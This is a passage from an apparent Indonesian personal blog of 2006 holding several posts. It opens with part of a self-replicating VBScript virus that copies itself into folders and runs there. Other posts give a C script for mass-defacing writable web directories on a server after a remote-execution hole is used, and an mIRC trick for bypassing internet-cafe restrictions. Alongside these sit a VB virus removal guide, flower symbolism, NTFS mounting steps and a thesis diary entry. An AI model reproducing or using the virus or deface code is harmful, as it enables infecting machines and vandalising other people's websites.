18 InfectFolder Lokasi
19
20 vPath = Left(Induk, InStrRev(Induk, ”\”))
21 For Each target in FSO.GetFolder(vPath).Files
22 If Right(target,3)=”txt” or Right(target,3)=”jpg” then Induk.
Copy(target & ”.vbs”)
23 Next
24
25 Sub InfectFolder(Alamat)
26 on error resume next
27 For Each target in FSO.GetFolder(Alamat).SubFolders
28 Induk.copy(target & ”\Readme.vbs”)
29 WshShell.Run (target & ”\Readme.vbs”)
30 Next
31 End sub

Hapus virus VB dengan tangan kosong

2006-05-23T00:44:00.000-07:00

pada akhir-akhir ini banyak sekali virus-virus berkeliaran didunia cyber, sehingga merambah pada komputer² rumahan hehe.. setelah diamati ternyata virus-virus yang beredar tersebut kebanyakan dibuat oleh programmer lokal (indonesia) dan hampir semuanya dibuat dengan Visual Basic (VB 6) seperti brontok (rontokbro) <-- lagi ngetrend neh, kangen, mybro, decoil dkk deh.
nah dengan melihat bahwa virus tersebut dibuat oleh visual basic, maka cara penanggulangannya juga mudah koq. langkah pertama masuk ke safe mode (restart trus tekan terus F8), setelah masuk safe mode lalu tinggal rename aja tuh runtime VB nya (msvbvm60.dll) yang berada pada C:\WINDOWS\system32\ dengan msvbvm60.dl_ atau dengan apa aja asal ekstensinya bukan *.dll, tapi sebelumnya back up dulu yah biar lebih aman. karena dengan merename runtime VB tersebut untuk sementara semua program yang dibuat dengan VB tidak akan bisa jalan, setelah di rename kemudia hapus dulu virus generatornya yang biasanya terletak di star-up folder, registry, batch file, initialization file, dan tipe c:\explorer.exe. setelah virus generatornya dimatikan di tempat persinggahannya tersebut, kemudian hapus file-file yang sudah terinspeksi, bisa dengan menggunakan fasilitas find and search kemudia ketikan *.exe (untuk lebih memudahkan tambahkan dengan ukuran berapa?) lalu hapus semua file yang sudah terinfeksi (biasanya icon msword, folder tapi berekstensi *.exe).
setelah semuanya di hapus, kemudian rename lagi msvbvm60.dl_ dengan msvbvm60.dll ato klo ga bisa ya gunakan sama file backup tadi (makanya direkomendasikan untuk di backup dulu sebelum direname). setelah itu restart komputer dan masuk pada normal mode. insya allah dah ga ada lagi tuh virus!

thx

MASS DEFACE TANPA ROOTING

2006-05-22T20:36:00.000-07:00

Skrip deface masal tanpa harus rooting (misal pake user nobody)
Copyright By Ph03n1X @ 2005
You may use 'n edited this script of course for education
Commercial use is prohibited

Gw suka opensource karena asyik
simpan skrip berikut sebagai file C
kemudian dowload ke site yang punya hole remote ekskusi
ekskusi skrip ini di server yang punya hole itu

----------------------------massnoroot.c----------------------------------

/*
Mass Deface script without rooting
Write By Ph03n1X king_purba@yahoo.co.uk
http://student.te.ugm.ac.id/~phoenix03/tutorial
*/

#include "stdio.h"
#include "stdlib.h"

FILE *ax;
char abc[256],bcd[300];

main()
{

/*
Assumsi bahwa semua DocumentRoot virtual domain apache
berada di bawah folder /usr/student/resarch
Untuk mengetahui dimana DocumentRoot silakan cari
di httpd.conf
*/

system("find /usr/student/resarch -perm 777 -type d > folder.txt");
if((ax=fopen("folder.txt","r"))==NULL)
{
printf("Sorry cannot open file folder.txt\n");exit(0);
}
while(fgets(abc,sizeof(abc),ax))
{
abc[strlen(abc)-1]='\0';
sprintf(bcd,"echo Sorry Hack By Nick Lo..!! > %s/deface.txt",abc);
system(bcd);
}
system("find /usr/student/resarch -name deface.txt > result.txt");
printf("\nFile yang tercipta dapat anda lihat di file result.txt\n");
printf("Kalo file result kosong berarti usernya jago-jago atau anda udah di chroot :D\n\n");
}

Warnet Hacking

2006-05-22T20:29:00.000-07:00

Maaf ni dah basi yah?dah banyak banget yah bahas ini, ya tapi buat bagi² aja lah!!
jadi biasanya kan di warnet kita suka dibatasi aksesnya, seperti disable run, regedit, cmd dll.
nah disini kita akan bahas bagaimana cara mengatasinya.
di warnet udah pasti kan ada MIRC? nah dengan itu kita akan mengatasinya, caranya:
klo mau buka regedit??
ketik /run regedit
msconfig:
/run msconfig
command:
/run cmd
gampang kan????hehehe...
udah ah segitu dulu mau bimbingan dulu neh, kreasikan lagi aja deh yang lainnya gampang ko!!
mudah²an bermanfaat.

thx

Makna Jumlah Kuntum Bunga

2006-05-22T20:00:00.000-07:00

Satu kuntum melambangkan satu-satunya

Dua kuntum melambangkan dunia untuk berdua

Tiga kuntum melambangkan aku cinta padamu

Empat kuntum melambangkan perjanjian sehidup semati

Lima kuntum melambangkan tanpa sesal

Enam kuntum melambangkan sesuai kemauan

Tujuh kuntum melambangkan doa tanpa batas

Delapan kuntum melambangkan mohon maafkan aku

Sembilan kuntum melambangkan seumur hidup

Sepuluh kuntum melambangkan sempurna

Sebelas kuntum melambangkan sepenuh hati

Dua belas kuntum melambangkan hati bertemu hati

NTFS in FC5 (Mounting your windows Partition)

2006-05-22T03:04:00.000-07:00

open terminal :

su
masukan password root (Hit enter)

type :

uname -rm
Hit enter. This will output your kernel version and processor type.

open firefox. Go to http://linux-ntfs.org/content/view/187/ and download (save to disk) the apropriate NTFS RPM for yoeu kernel version and processor type.This should save the file to your home folder.
with the terminal root still open type:

rpm -Uvh *.rpm
Hit enter. Wait for the installation complete.

type:

rm *.rpm
Hit enter. Type "y" and hit enter.

type:

su -
Hit enter.

mkdir /mnt/windows
hit enter

/sbin/fdisk -l
Hit enter. This will output your NTFS/HPFS partition identifier.

gdit /etc/fstab
Hit enter and gdit will open.

in gdit add the following line to /etc/fstab

/dev/hda1 /mnt/windows ntfs ro,defaults,umask=0222 0 0

click the "save" icon in gdit and exit gdit.
close the terminal and reboot your system.

Hikssss

2006-05-22T02:54:00.000-07:00

tadi pagi gw bimbingan sama pembimbing satu, padahal niatnya mau bimbingan bab V (analisis) eh dia minta lagi yang bab IV nya, eh ternyata sodara² Bab IV (Pengumpulan dan Pengolahan Data) nya diperiksa lagi. Ternyata benar dugaan gw dan dugaan lo semua yaitu Bab IV nya masih ada yang salah (menurut dia lho...! :D) soalnya menurut gw seh udah pada bener tuh.
Tapi ya udah lah demi kelancaran bersama jadi ya udah aja lah mending tururin apa kata dia!
lagi pula demi kebaikan gw juga seh, dari pada nanti pas sidang ketahuan salahnya hikssssss bisa² nilai gw ancurrrrrr dan amburadullllll